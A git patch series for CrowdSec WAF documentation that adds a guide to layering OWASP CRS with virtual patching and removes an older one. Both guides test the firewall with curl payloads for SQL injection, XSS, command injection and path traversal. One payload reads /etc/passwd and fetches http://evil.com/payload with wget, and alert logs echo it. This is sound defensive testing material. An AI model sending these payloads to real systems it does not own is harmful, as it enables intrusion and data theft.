From 55a5bc5e73ec72627a38ec36b89c7b650eb087ea Mon Sep 17 00:00:00 2001 From: Thibault Koechlin Date: Fri, 5 Sep 2025 17:40:29 +0200 Subject: [PATCH 1/3] up --- .../docs/appsec/advanced_deployments.md | 284 ++++++++++++++++++ .../docs/appsec/quickstart/general.mdx | 3 +- crowdsec-docs/sidebars.ts | 2 +- 3 files changed, 287 insertions(+), 2 deletions(-) create mode 100644 crowdsec-docs/docs/appsec/advanced_deployments.md diff --git a/crowdsec-docs/docs/appsec/advanced_deployments.md b/crowdsec-docs/docs/appsec/advanced_deployments.md new file mode 100644 index 00000000..39e61cd0 --- /dev/null +++ b/crowdsec-docs/docs/appsec/advanced_deployments.md @@ -0,0 +1,284 @@ +--- +id: advanced_deployments +title: Advanced WAF Deployments +sidebar_position: 6 +--- + +# Advanced WAF Deployments + +This guide covers advanced CrowdSec WAF deployment strategies for organizations looking to gradually enhance their web application security posture. Learn how to progressively improve your WAF configuration from basic virtual patching to comprehensive multi-layer protection. + +:::info Prerequisites +This guide assumes you have completed the [General Setup](/appsec/quickstart/general.mdx) and have a functional basic WAF deployment. +::: + +## About OWASP Core Rule Set (CRS) + +The **OWASP Core Rule Set (CRS)** is a set of generic attack detection rules for use with ModSec-compatible web application firewalls. CRS aims to protect web applications from a wide range of attacks, including the OWASP Top Ten, with minimal false positives. + +**Key features of OWASP CRS:** +- **Comprehensive Coverage**: Protects against SQL injection, XSS, command injection, path traversal, and many other attack types +- **Generic Detection**: Uses pattern-based rules that detect attack techniques rather than specific exploits +- **Mature Ruleset**: Actively maintained by the OWASP community with regular updates +- **Configurable Sensitivity**: Supports paranoia levels to balance security vs false positives +- **Wide Compatibility**: Works with various WAF engines including CrowdSec's AppSec component + +**CRS vs Virtual Patching:** +- **Virtual Patching**: Targets specific known vulnerabilities (CVEs) with minimal false positives +- **CRS**: Provides broad attack pattern detection with comprehensive coverage but may require tuning + +In CrowdSec, CRS rules can be deployed in two modes: +- **Out-of-band**: Analyzes traffic without blocking, triggers bans after multiple violations +- **In-band**: Blocks malicious requests immediately at detection time + +## Security Enhancement Path + +CrowdSec WAF supports multiple deployment strategies that can be implemented progressively: + +### 1. Basic Virtual Patching (Quickstart) +**Current State**: Blocking protection against known CVEs +- Collections: `crowdsecurity/appsec-virtual-patching` +- Mode: In-band (blocking) +- Coverage: Known vulnerabilities only +- False Positives: Minimal + +### 2. Enhanced Detection (Out-of-band CRS) +**Next Step**: Add comprehensive attack detection without performance impact +- Add: `crowdsecurity/appsec-crs` (out-of-band) alongside existing virtual patching +- Mode: Non-blocking analysis + behavioral banning +- Coverage: OWASP Top 10 + comprehensive attack patterns + specific CVE protection +- Performance: No latency impact ⚡ +- Security: Layered approach - virtual patching + generic attack detection + +### 3. Maximum Protection (In-band CRS) +**Advanced**: Full blocking protection with comprehensive coverage +- Modify: Configure CRS for in-band (blocking) mode while keeping virtual patching +- Mode: Immediate blocking of all detected attacks (both generic and CVE-specific) +- Coverage: Maximum protection with instant response 🛡️ +- Security: Dual-layer blocking - virtual patching handles specific vulnerabilities, CRS covers generic attack patterns +- Consideration: Might require tuning to minimize false positives + +## Implementation Guide + +### Step 2: Adding Out-of-band CRS + +Enhance your existing virtual patching deployment by adding comprehensive attack detection as an additional security layer: + +```bash title="Install CRS collection" +sudo cscli collections install crowdsecurity/appsec-crs +``` + +The `crowdsecurity/appsec-crs` collection includes: +- **crowdsecurity/crs**: AppSec config that loads CRS rules in out-of-band mode +- **crowdsecurity/crowdsec-appsec-outofband**: Scenario that bans IPs after 5+ out-of-band rule violations + +Update your WAF acquisition configuration to include both rule sets: + +```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" +appsec_configs: + - crowdsecurity/virtual-patching # Virtual patching rules (in-band blocking) + - crowdsecurity/crs # OWASP CRS rules (out-of-band detection) +labels: + type: appsec +listen_addr: 127.0.0.1:7422 +source: appsec +name: myAppSecComponent +``` + +```bash title="Restart CrowdSec" +sudo systemctl restart crowdsec +``` + +**Benefits of this layered configuration:** +- **Layer 1**: Immediate protection against known vulnerabilities (virtual patching) +- **Layer 2**: Comprehensive attack pattern detection (CRS out-of-band) +- **Complementary Coverage**: Virtual patching rules catch specific CVEs that CRS generic rules might miss +- Behavioral analysis and repeat offender banning +- No performance impact on legitimate traffic + +#### How to Test Step 2: Out-of-band CRS Detection + +After implementing the layered configuration, verify both protection layers are working correctly: + +**Test 1: Virtual Patching Layer (Immediate Blocking)** + +Test that virtual patching rules block requests immediately by trying to access sensitive files: + +```bash +# Test .env file access (common vulnerability) +curl -v "http://your-app.com/.env" +curl -v "http://your-app.com/api/../.env" +``` + +Expected result: These requests should be immediately blocked with HTTP 403 Forbidden. + +**Test 2: CRS Out-of-band Detection Layer** + +The `crowdsecurity/crowdsec-appsec-outofband` scenario monitors for multiple attack attempts and bans IPs after 5+ out-of-band rule violations within the configured timeframe. Test with various attack patterns: + +```bash +# Replace with your application URL +TARGET="http://your-app.com" + +# SQL injection attempts (trigger multiple CRS rules) +curl "$TARGET/?id=1'+OR+'1'='1" +curl "$TARGET/?id=1+UNION+SELECT+*+FROM+users" +curl "$TARGET/?search='+OR+1=1--" +curl "$TARGET/?filter=admin'/**/OR/**/'1'='1" + +# XSS attempts +curl "$TARGET/?q=" +curl "$TARGET/?comment=" + +# Command injection attempts +curl "$TARGET/?cmd=; cat /etc/passwd" +curl "$TARGET/?exec=|whoami" + +# Additional malicious patterns to reach the 5+ threshold +curl "$TARGET/?test=../../../etc/passwd" +curl "$TARGET/?file=....//....//etc/hosts" + +# Wait 10-15 seconds for the scenario to process and ban the IP +sleep 15 + +# Test if IP is now banned +curl "$TARGET/" # This should now be blocked +``` + +**Expected behavior:** +1. **First 1-4 requests**: Pass through to your application (out-of-band mode) +2. **After 5+ violations**: CrowdSec processes the violations (may take up to 10 seconds) +3. **After ~10 seconds**: IP gets banned by the `crowdsec-appsec-outofband` scenario +4. **Subsequent requests**: Blocked at CrowdSec level before reaching your application + +:::info Processing Delay +The out-of-band scenario processes violations asynchronously, so there's typically a 5-10 second delay between reaching the violation threshold and the IP ban taking effect. This is normal behavior for out-of-band detection. +::: + +**Test 3: Verify Out-of-band Alerts (Optional)** + +To see individual out-of-band rule triggers (not just the ban), add a dedicated appsec config: + +```yaml title="Add to /etc/crowdsec/acquis.d/appsec.yaml for detailed alerts" +appsec_configs: + - crowdsecurity/virtual-patching # Virtual patching rules (in-band blocking) + - crowdsecurity/crs # OWASP CRS rules (out-of-band detection) + - crowdsecurity/crs-alert # Generate alert for each CRS rule triggered +``` + +This will create individual alerts for each out-of-band rule violation, providing better visibility into attack patterns. + +**Verification Commands:** + +```bash +# Check for active bans +sudo cscli decisions list + +# Review recent alerts (including out-of-band detections) +sudo cscli alerts list --limit 10 + +# Monitor real-time activity +sudo tail -f /var/log/crowdsec.log +``` + + + +### Step 3: CRS In-band (Blocking Mode) + +For organizations requiring maximum protection, configure CRS rules to block requests immediately by installing the in-band CRS collection: + +```bash title="Install CRS in-band collection" +sudo cscli collections install crowdsecurity/appsec-crs-inband +``` + +#### Update Acquisition Configuration + +Modify your acquisition to use the in-band CRS configuration: + +```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" +appsec_configs: + - crowdsecurity/virtual-patching # Virtual patching rules (in-band blocking) + - crowdsecurity/crs-inband # OWASP CRS rules (in-band blocking) +labels: + type: appsec +listen_addr: 127.0.0.1:7422 +source: appsec +name: myAppSecComponent +``` + +```bash title="Restart CrowdSec" +sudo systemctl restart crowdsec +``` + +#### How to Test Step 3: CRS In-band Blocking + +After configuring CRS for in-band (blocking) mode, test that both virtual patching and CRS rules provide immediate blocking: + +**Test 1: Virtual Patching Layer (Still Blocking)** + +Verify virtual patching continues to work: + +```bash +# These should still be immediately blocked +curl -v "http://your-app.com/.env" +curl -v "http://your-app.com/.git/config" +``` + +Expected result: HTTP 403 Forbidden immediately. + +**Test 2: CRS In-band Blocking** + +Test that CRS rules now block requests immediately (no more out-of-band delay): + +```bash +TARGET="http://your-app.com" + +# SQL injection - should be blocked immediately +curl -v "$TARGET/?id=1' OR '1'='1" + +# XSS - should be blocked immediately +curl -v "$TARGET/?q=" + +# Command injection - should be blocked immediately +curl -v "$TARGET/?cmd=; cat /etc/passwd" + +# Path traversal - should be blocked immediately +curl -v "$TARGET/?file=../../../etc/passwd" +``` + +**Expected behavior:** +- **All requests above**: Immediately blocked with HTTP 403 Forbidden +- **No delay**: Unlike out-of-band mode, blocking is instant +- **Dual protection**: Both virtual patching AND CRS rules provide immediate blocking + +**Verification Commands:** + +```bash +# Check for immediate decisions (should see blocks right after requests) +sudo cscli decisions list + +# Review alerts (should see both virtual patching and CRS alerts) +sudo cscli alerts list --limit 5 + +# Monitor real-time blocking +sudo tail -f /var/log/crowdsec.log +``` + + + +:::warning Important Considerations +In-band CRS blocking provides maximum protection but requires: +- **Thorough testing** in a staging environment +- **Gradual rollout** to production traffic +- **Monitoring and tuning** to prevent blocking legitimate requests +- **Whitelisting capabilities** for false positives +::: + +## Next Steps + +Once you've implemented advanced deployments: + +- Configure [Custom Rules](/appsec/create_rules.md) for application-specific protection +- Set up [Hooks](/appsec/hooks.md) for custom response actions +- Explore [Configuration Options](/appsec/configuration.md) for fine-tuning +- Review [Troubleshooting Guide](/appsec/troubleshooting.md) for operational issues diff --git a/crowdsec-docs/docs/appsec/quickstart/general.mdx b/crowdsec-docs/docs/appsec/quickstart/general.mdx index 85f0ee92..365a8186 100644 --- a/crowdsec-docs/docs/appsec/quickstart/general.mdx +++ b/crowdsec-docs/docs/appsec/quickstart/general.mdx @@ -54,7 +54,8 @@ Configure CrowdSec to expose the AppSec Component by creating an acquisition fil 2. Create the AppSec acquisition configuration: ```bash sudo cat > /etc/crowdsec/acquis.d/appsec.yaml << EOF - appsec_config: crowdsecurity/appsec-default + appsec_configs: + - crowdsecurity/appsec-default labels: type: appsec listen_addr: 127.0.0.1:7422 diff --git a/crowdsec-docs/sidebars.ts b/crowdsec-docs/sidebars.ts index 48e59470..72cb5096 100644 --- a/crowdsec-docs/sidebars.ts +++ b/crowdsec-docs/sidebars.ts @@ -728,7 +728,7 @@ const sidebarsConfig: SidebarConfig = { label: "Configuration", items: [ { type: "doc", id: "appsec/configuration" }, - { type: "doc", id: "appsec/vpatch_and_crs" }, + { type: "doc", id: "appsec/advanced_deployments" }, { type: "doc", id: "appsec/alerts_and_scenarios" }, ], }, From 8a6f89d4f69834bbd36658add9c4dbc9ba4b1b8e Mon Sep 17 00:00:00 2001 From: Thibault Koechlin Date: Fri, 5 Sep 2025 17:40:54 +0200 Subject: [PATCH 2/3] up --- crowdsec-docs/docs/appsec/vpatch_crs.md | 324 ------------------------ 1 file changed, 324 deletions(-) delete mode 100644 crowdsec-docs/docs/appsec/vpatch_crs.md diff --git a/crowdsec-docs/docs/appsec/vpatch_crs.md b/crowdsec-docs/docs/appsec/vpatch_crs.md deleted file mode 100644 index e8bb9bc0..00000000 --- a/crowdsec-docs/docs/appsec/vpatch_crs.md +++ /dev/null @@ -1,324 +0,0 @@ ---- -id: vpatch_and_crs -title: Virtual Patching + OWASP CRS -sidebar_position: 5 ---- - -## Overview - -This guide shows how to deploy both CrowdSec's virtual patching rules and [OWASP Core Rule Set (CRS)](https://coreruleset.org/) together for comprehensive web application protection. CrowdSec's Virtual Patching rules will always be configured as blocking rules, while OWASP CRS can be configured in blocking or non-blocking rules. - -### OWASP Core Rule Set - -The OWASP CRS is a set of generic attack detection rules that aims to protect web applications from a wide range of attacks, including the OWASP Top Ten, with a minimum of false alerts. CRS provides protection against many common attack categories, including SQL Injection, Cross Site Scripting, Local File Inclusion, etc. - -### CrowdSec Virtual Patching Rules - -CrowdSec produces virtual patching rules for new (and sometime old) vulnerabilities that we see as having traction in the wild. While Virtual Patching rules doesn't offer a generic protection (as CRS might do) they do target specific vulnerabilities and offer nearly zero false positive chance. - -## Objective - -OWASP CRS can be integrated in various fashion with CrowdSec's WAF: - - **Non Blocking** will not block requests that trigger CRS, however, repeating offenders will get banned. - - **Blocking** will block any and all requests that trigger CRS, and ban repeating offenders. - -:::info -This documentation assumes that you already have a Basic WAF setup with CrowdSec Security Engine. -::: - - -## OWASP Core Rule Set - Non-Blocking - -### Install Required Collections - -Install both the virtual patching and CRS collections: - -```bash title="Install virtual patching rules (in-band blocking)" -cscli collections install crowdsecurity/appsec-virtual-patching -``` - -```bash title="Install OWASP CRS rules (out-of-band detection + scenario) -cscli collections install crowdsecurity/appsec-crs -``` - -### Configure AppSec - -Update your AppSec acquisition configuration: - -```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" -appsec_configs: - - crowdsecurity/appsec-default # Virtual patching rules (in-band) - - crowdsecurity/crs # OWASP CRS rules (out-of-band) -labels: - type: appsec -listen_addr: 127.0.0.1:7422 -source: appsec -``` - -### Restart CrowdSec - -```bash -sudo systemctl restart crowdsec -``` - -## How It Works - -### Two-Layer Protection - -**Layer 1 - Virtual Patching (In-band)**: -- Rules from `crowdsecurity/appsec-default` -- Evaluated synchronously before request proceeds -- Blocks known exploits immediately -- High-confidence, low false-positive rules - -**Layer 2 - OWASP CRS (Out-of-band)**: -- Full ModSecurity Core Rule Set from `crowdsecurity/crs` -- Evaluated asynchronously after request is processed -- Comprehensive attack detection and analysis -- No impact on request response time - -### CRS Out-of-Band Processing - -OWASP CRS rules are loaded as out-of-band rules, which means: - -1. **No Performance Impact**: CRS evaluation happens after the web server has already responded -2. **Comprehensive Detection**: Full rule set can detect complex attack patterns -3. **Event Generation**: Matches generate events for CrowdSec's scenario system -4. **Behavioral Analysis**: The `crowdsecurity/crowdsec-appsec-outofband` scenario monitors patterns and bans repeat offenders - -### Scenario Integration - -The `crowdsecurity/appsec-crs` collection includes: -- **crowdsecurity/crs**: AppSec config that loads CRS rules in out-of-band mode -- **crowdsecurity/crowdsec-appsec-outofband**: Scenario that bans IPs after 5+ out-of-band rule violations - -## Verification - -### Check Installation - -Verify that both configurations are loaded: - -```bash title="Check AppSec configurations" -cscli appsec-configs list -``` -Should show: -- crowdsecurity/appsec-default -- crowdsecurity/crs - -```bash title="Check scenarios" -cscli scenarios list | grep appsec -``` -Should show: -- crowdsecurity/crowdsec-appsec-outofband - -### Check AppSec Status - -```bash title="Check that AppSec is running" -cscli metrics -``` -*Look for appsec metrics in the output* - -## Testing - CrowdSec Vpatch - -If CrowdSec vpatch rules are properly enabled, the following request should return a 403: - -```bash -TARGET=localhost -curl -I ${TARGET}'/.env' -``` - - -## Testing - OWASP CRS - -:::warning -Those requests are meant to emulate malevolent requests that will be catched by OWASP CRS. -Don't lock yourself out if CrowdSec or any other security rule processor applies a ban uppon the following: -::: - -```bash -TARGET=localhost -curl -I ${TARGET}'/?x=A";cat+/etc/passwd;wget+http://evil.com/payload' -curl -I ${TARGET}'/?x=A";cat+/etc/passwd;wget+http://evil.com/payload' -curl -I ${TARGET}'/?x=A"' -curl -I ${TARGET}'/?x=A"' -curl -I ${TARGET}'/?x=A"+OR+"1"="1"+union+select+"fooobar","foo' -curl -I ${TARGET}'/?x=A"+OR+"1"="1"+union+select+"fooobar","foo' -``` - -Uppon triggering those, you should see in CrowdSec logs: - -```bash -time="2025-08-22T11:39:50+02:00" level=info msg="Ip xxx performed 'crowdsecurity/crowdsec-appsec-outofband' (6 events over 65.915093ms) at 2025-08-22 09:39:50.392681747 +0000 UTC" -time="2025-08-22T11:39:51+02:00" level=info msg="(5cf8aff523424fa68e9335f28fec409aIfHabI3W9GsKHzab/crowdsec) crowdsecurity/crowdsec-appsec-outofband by ip xxx : 4h ban on Ip xxx" -``` - -Further requests to the webserver should return 403: - -```bash -$ curl -I ${TARGET} -HTTP/1.1 403 Forbidden -``` - -## Alert Inspection - -You can inspect the alert to better see what URLs or payloads triggered the rules: - -```bash -# cscli alerts list -╭──────┬────────────┬─────────────────────────────────────────┬─────────┬────┬───────────┬──────────────────────╮ -│ ID │ value │ reason │ country │ as │ decisions │ created_at │ -├──────┼────────────┼─────────────────────────────────────────┼─────────┼────┼───────────┼──────────────────────┤ -│ 2172 │ Ip:xxx │ crowdsecurity/crowdsec-appsec-outofband │ │ │ ban:1 │ 2025-08-22T09:39:50Z │ -... -``` - -```bash -# cscli alerts inspect -d 2172 - -################################################################################################ - - - ID : 2172 - - Date : 2025-08-22T09:39:51Z - - Machine : 5cf8aff523424fa68e9335f28fec409aIfHabI3W9GsKHzab - - Simulation : false - - Remediation : true - - Reason : crowdsecurity/crowdsec-appsec-outofband - - Events Count : 6 - - Scope:Value : Ip:xxx - - Country : - - AS : - - Begin : 2025-08-22T09:39:50Z - - End : 2025-08-22T09:39:50Z - - UUID : a0ad365a-ef08-4c18-af80-20cc02625c35 - -╭─────────────────────────────────────────────────────────────────────╮ -│ Active Decisions │ -├──────────┬─────────────┬────────┬────────────┬──────────────────────┤ -│ ID │ scope:value │ action │ expiration │ created_at │ -├──────────┼─────────────┼────────┼────────────┼──────────────────────┤ -│ 19719904 │ Ip:xxx │ ban │ 3h57m38s │ 2025-08-22T09:39:51Z │ -╰──────────┴─────────────┴────────┴────────────┴──────────────────────╯ - - - Context : -╭────────────┬─────────────────────────────────────────────────────╮ -│ Key │ Value │ -├────────────┼─────────────────────────────────────────────────────┤ -│ rules │ native_rule:901340 │ -│ target_uri │ /?x=A";cat+/etc/passwd;wget+http://evil.com/payload │ -│ target_uri │ /?x=A" │ -│ target_uri │ /?x=A"+OR+"1"="1"+union+select+"fooobar","foo │ -╰────────────┴─────────────────────────────────────────────────────╯ - - - Events : - -- Date: 2025-08-22 09:39:50.326505724 +0000 UTC -╭─────────────────────┬──────────────────────────────────────────────────────────────╮ -│ Key │ Value │ -├─────────────────────┼──────────────────────────────────────────────────────────────┤ -│ datasource_path │ appsec │ -│ datasource_type │ appsec │ -│ log_type │ appsec-info │ -│ remediation_cmpt_ip │ 127.0.0.1 │ -│ request_uuid │ 331f9426-3333-420a-bffa-ab953f44e329 │ -│ rule_ids │ [901340 930120 932230 932235 932115 932160 942540 949110 │ -│ │ 980170] │ -│ rule_name │ native_rule:901340 │ -│ service │ appsec │ -│ source_ip │ xxx │ -│ target_host │ localhost │ -│ target_uri │ /?x=A";cat+/etc/passwd;wget+http://evil.com/payload │ -╰─────────────────────┴──────────────────────────────────────────────────────────────╯ - -- Date: 2025-08-22 09:39:50.33919196 +0000 UTC -╭─────────────────────┬──────────────────────────────────────────────────────────────╮ -│ Key │ Value │ -├─────────────────────┼──────────────────────────────────────────────────────────────┤ -│ datasource_path │ appsec │ -│ datasource_type │ appsec │ -│ log_type │ appsec-info │ -│ remediation_cmpt_ip │ 127.0.0.1 │ -│ request_uuid │ 69c72a65-e7e5-49fa-9253-bdbe6fca52c9 │ -│ rule_ids │ [901340 930120 932230 932235 932115 932160 942540 949110 │ -│ │ 980170] │ -│ rule_name │ native_rule:901340 │ -│ service │ appsec │ -│ source_ip │ xxx │ -│ target_host │ localhost │ -│ target_uri │ /?x=A";cat+/etc/passwd;wget+http://evil.com/payload │ -╰─────────────────────┴──────────────────────────────────────────────────────────────╯ - -- Date: 2025-08-22 09:39:50.352001523 +0000 UTC -╭─────────────────────┬───────────────────────────────────────────────────────────╮ -│ Key │ Value │ -├─────────────────────┼───────────────────────────────────────────────────────────┤ -│ datasource_path │ appsec │ -│ datasource_type │ appsec │ -│ log_type │ appsec-info │ -│ remediation_cmpt_ip │ 127.0.0.1 │ -│ request_uuid │ b7a95a56-a88e-4c89-b23b-2d3d06759af4 │ -│ rule_ids │ [901340 941100 941110 941160 941390 942100 949110 980170] │ -│ rule_name │ native_rule:901340 │ -│ service │ appsec │ -│ source_ip │ xxx │ -│ target_host │ localhost │ -│ target_uri │ /?x=A" │ -╰─────────────────────┴───────────────────────────────────────────────────────────╯ - -- Date: 2025-08-22 09:39:50.365872595 +0000 UTC -╭─────────────────────┬───────────────────────────────────────────────────────────╮ -│ Key │ Value │ -├─────────────────────┼───────────────────────────────────────────────────────────┤ -│ datasource_path │ appsec │ -│ datasource_type │ appsec │ -│ log_type │ appsec-info │ -│ remediation_cmpt_ip │ 127.0.0.1 │ -│ request_uuid │ fbc41250-53e6-49d9-ab04-5f6ed2cc1793 │ -│ rule_ids │ [901340 941100 941110 941160 941390 942100 949110 980170] │ -│ rule_name │ native_rule:901340 │ -│ service │ appsec │ -│ source_ip │ xxx │ -│ target_host │ localhost │ -│ target_uri │ /?x=A" │ -╰─────────────────────┴───────────────────────────────────────────────────────────╯ - -- Date: 2025-08-22 09:39:50.378905387 +0000 UTC -╭─────────────────────┬───────────────────────────────────────────────╮ -│ Key │ Value │ -├─────────────────────┼───────────────────────────────────────────────┤ -│ datasource_path │ appsec │ -│ datasource_type │ appsec │ -│ log_type │ appsec-info │ -│ remediation_cmpt_ip │ 127.0.0.1 │ -│ request_uuid │ d59825ff-268b-42ff-8e90-9e831a7f6a6b │ -│ rule_ids │ [901340 942100 942190 949110 980170] │ -│ rule_name │ native_rule:901340 │ -│ service │ appsec │ -│ source_ip │ xxx │ -│ target_host │ localhost │ -│ target_uri │ /?x=A"+OR+"1"="1"+union+select+"fooobar","foo │ -╰─────────────────────┴───────────────────────────────────────────────╯ - -- Date: 2025-08-22 09:39:50.392514386 +0000 UTC -╭─────────────────────┬───────────────────────────────────────────────╮ -│ Key │ Value │ -├─────────────────────┼───────────────────────────────────────────────┤ -│ datasource_path │ appsec │ -│ datasource_type │ appsec │ -│ log_type │ appsec-info │ -│ remediation_cmpt_ip │ 127.0.0.1 │ -│ request_uuid │ d0dc6cab-0ef2-4e7d-9fd1-ab06091b23ea │ -│ rule_ids │ [901340 942100 942190 949110 980170] │ -│ rule_name │ native_rule:901340 │ -│ service │ appsec │ -│ source_ip │ xxx │ -│ target_host │ localhost │ -│ target_uri │ /?x=A"+OR+"1"="1"+union+select+"fooobar","foo │ -╰─────────────────────┴───────────────────────────────────────────────╯ - -``` - -## Next Steps - -- Learn about [AppSec Configuration options](/appsec/configuration.md) -- Understand [AppSec Hooks](/appsec/hooks.md) for customization -- Explore [Rule Syntax](/appsec/rules_syntax.md) for custom rules \ No newline at end of file From ff17aaa72c8fb3e653af4775072cc5ac1b4f4e23 Mon Sep 17 00:00:00 2001 From: Thibault Koechlin Date: Tue, 9 Sep 2025 17:47:24 +0200 Subject: [PATCH 3/3] updated CRS + vpatch docs --- ...eployments.md => advanced_deployments.mdx} | 113 ++++++++---------- .../static/img/console-appsec-oob.png | Bin 0 -> 41826 bytes 2 files changed, 47 insertions(+), 66 deletions(-) rename crowdsec-docs/docs/appsec/{advanced_deployments.md => advanced_deployments.mdx} (61%) create mode 100644 crowdsec-docs/static/img/console-appsec-oob.png diff --git a/crowdsec-docs/docs/appsec/advanced_deployments.md b/crowdsec-docs/docs/appsec/advanced_deployments.mdx similarity index 61% rename from crowdsec-docs/docs/appsec/advanced_deployments.md rename to crowdsec-docs/docs/appsec/advanced_deployments.mdx index 39e61cd0..ba30b40f 100644 --- a/crowdsec-docs/docs/appsec/advanced_deployments.md +++ b/crowdsec-docs/docs/appsec/advanced_deployments.mdx @@ -37,14 +37,14 @@ CrowdSec WAF supports multiple deployment strategies that can be implemented pro ### 1. Basic Virtual Patching (Quickstart) **Current State**: Blocking protection against known CVEs -- Collections: `crowdsecurity/appsec-virtual-patching` +- Collections: [`crowdsecurity/appsec-virtual-patching`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) - Mode: In-band (blocking) - Coverage: Known vulnerabilities only - False Positives: Minimal ### 2. Enhanced Detection (Out-of-band CRS) **Next Step**: Add comprehensive attack detection without performance impact -- Add: `crowdsecurity/appsec-crs` (out-of-band) alongside existing virtual patching +- Add: [`crowdsecurity/appsec-crs-inband`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-crs-inband) (out-of-band) alongside existing virtual patching - Mode: Non-blocking analysis + behavioral banning - Coverage: OWASP Top 10 + comprehensive attack patterns + specific CVE protection - Performance: No latency impact ⚡ @@ -52,7 +52,7 @@ CrowdSec WAF supports multiple deployment strategies that can be implemented pro ### 3. Maximum Protection (In-band CRS) **Advanced**: Full blocking protection with comprehensive coverage -- Modify: Configure CRS for in-band (blocking) mode while keeping virtual patching +- Modify: Use [`crowdsecurity/appsec-crs-inband`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-crs-inband) for blocking CRS while keeping virtual patching - Mode: Immediate blocking of all detected attacks (both generic and CVE-specific) - Coverage: Maximum protection with instant response 🛡️ - Security: Dual-layer blocking - virtual patching handles specific vulnerabilities, CRS covers generic attack patterns @@ -68,7 +68,7 @@ Enhance your existing virtual patching deployment by adding comprehensive attack sudo cscli collections install crowdsecurity/appsec-crs ``` -The `crowdsecurity/appsec-crs` collection includes: +The [`crowdsecurity/appsec-crs`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-crs) collection includes: - **crowdsecurity/crs**: AppSec config that loads CRS rules in out-of-band mode - **crowdsecurity/crowdsec-appsec-outofband**: Scenario that bans IPs after 5+ out-of-band rule violations @@ -76,7 +76,7 @@ Update your WAF acquisition configuration to include both rule sets: ```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" appsec_configs: - - crowdsecurity/virtual-patching # Virtual patching rules (in-band blocking) + - crowdsecurity/appsec-default # Virtual patching rules (in-band blocking) - crowdsecurity/crs # OWASP CRS rules (out-of-band detection) labels: type: appsec @@ -114,7 +114,7 @@ Expected result: These requests should be immediately blocked with HTTP 403 Forb **Test 2: CRS Out-of-band Detection Layer** -The `crowdsecurity/crowdsec-appsec-outofband` scenario monitors for multiple attack attempts and bans IPs after 5+ out-of-band rule violations within the configured timeframe. Test with various attack patterns: +The `crowdsecurity/crs` collection brings general detection for OWASP top10 attacks, which can be tested: ```bash # Replace with your application URL @@ -122,66 +122,63 @@ TARGET="http://your-app.com" # SQL injection attempts (trigger multiple CRS rules) curl "$TARGET/?id=1'+OR+'1'='1" -curl "$TARGET/?id=1+UNION+SELECT+*+FROM+users" -curl "$TARGET/?search='+OR+1=1--" -curl "$TARGET/?filter=admin'/**/OR/**/'1'='1" - -# XSS attempts -curl "$TARGET/?q=" -curl "$TARGET/?comment=" +``` -# Command injection attempts -curl "$TARGET/?cmd=; cat /etc/passwd" -curl "$TARGET/?exec=|whoami" +Expected results: -# Additional malicious patterns to reach the 5+ threshold -curl "$TARGET/?test=../../../etc/passwd" -curl "$TARGET/?file=....//....//etc/hosts" +- Detailed Alert is created (see `cscli alerts list`) -# Wait 10-15 seconds for the scenario to process and ban the IP -sleep 15 +
+ `cscli alerts list` output -# Test if IP is now banned -curl "$TARGET/" # This should now be blocked +```yaml ++-------+--------------------+--------------------------------------------------------------+---------+------------------------------+-----------+----------------------+ +| ID | value | reason | country | as | decisions | created_at | ++-------+--------------------+--------------------------------------------------------------+---------+------------------------------+-----------+----------------------+ +| 62419 | Ip:xxx.xx.xx.xx | anomaly score out-of-band: sql_injection: 10, anomaly: 10, | FR | 5410 Bouygues Telecom SA | | 2025-09-09T14:41:07Z | +... ``` +
-**Expected behavior:** -1. **First 1-4 requests**: Pass through to your application (out-of-band mode) -2. **After 5+ violations**: CrowdSec processes the violations (may take up to 10 seconds) -3. **After ~10 seconds**: IP gets banned by the `crowdsec-appsec-outofband` scenario -4. **Subsequent requests**: Blocked at CrowdSec level before reaching your application -:::info Processing Delay -The out-of-band scenario processes violations asynchronously, so there's typically a 5-10 second delay between reaching the violation threshold and the IP ban taking effect. This is normal behavior for out-of-band detection. -::: +- Detailed Alert is visible in console -**Test 3: Verify Out-of-band Alerts (Optional)** +
+ Alert Console view +![timeline](/img/console-appsec-oob.png) +
-To see individual out-of-band rule triggers (not just the ban), add a dedicated appsec config: +**Test 3: Verify Scenario Behavior** -```yaml title="Add to /etc/crowdsec/acquis.d/appsec.yaml for detailed alerts" -appsec_configs: - - crowdsecurity/virtual-patching # Virtual patching rules (in-band blocking) - - crowdsecurity/crs # OWASP CRS rules (out-of-band detection) - - crowdsecurity/crs-alert # Generate alert for each CRS rule triggered +The `crowdsecurity/crowdsec-appsec-outofband` scenario will ban IPs triggering the CRS on more than 5 distinct requests on a short period, which can be tested: + +```bash +for i in {1..6}; do curl "$TARGET/?id=1'+OR+'1'='1"; done ``` -This will create individual alerts for each out-of-band rule violation, providing better visibility into attack patterns. -**Verification Commands:** +Expected results: -```bash -# Check for active bans -sudo cscli decisions list +- Alerts are created for each request +- Decision is created by the 6th request -# Review recent alerts (including out-of-band detections) -sudo cscli alerts list --limit 10 +
+ `cscli alerts list` output -# Monitor real-time activity -sudo tail -f /var/log/crowdsec.log -``` +```yaml +───────┬────────────────────┬──────────────────────────────────────────────────────────────┬─────────┬──────────────────────────────┬───────────┬──────────────────────╮ +│ ID │ value │ reason │ country │ as │ decisions │ created_at │ +├───────┼────────────────────┼──────────────────────────────────────────────────────────────┼─────────┼──────────────────────────────┼───────────┼──────────────────────┤ +│ 62427 │ Ip:xxx.xx.xx.xx │ crowdsecurity/crowdsec-appsec-outofband │ FR │ 5410 Bouygues Telecom SA │ ban:1 │ 2025-09-09T14:51:11Z │ +│ 62426 │ Ip:xxx.xx.xx.xx │ anomaly score out-of-band: sql_injection: 10, anomaly: 10, │ FR │ 5410 Bouygues Telecom SA │ │ 2025-09-09T14:51:12Z │ +│ 62425 │ Ip:xxx.xx.xx.xx │ anomaly score out-of-band: sql_injection: 10, anomaly: 10, │ FR │ 5410 Bouygues Telecom SA │ │ 2025-09-09T14:51:11Z │ +│ 62424 │ Ip:xxx.xx.xx.xx │ anomaly score out-of-band: sql_injection: 10, anomaly: 10, │ FR │ 5410 Bouygues Telecom SA │ │ 2025-09-09T14:51:11Z │ +│ 62423 │ Ip:xxx.xx.xx.xx │ anomaly score out-of-band: sql_injection: 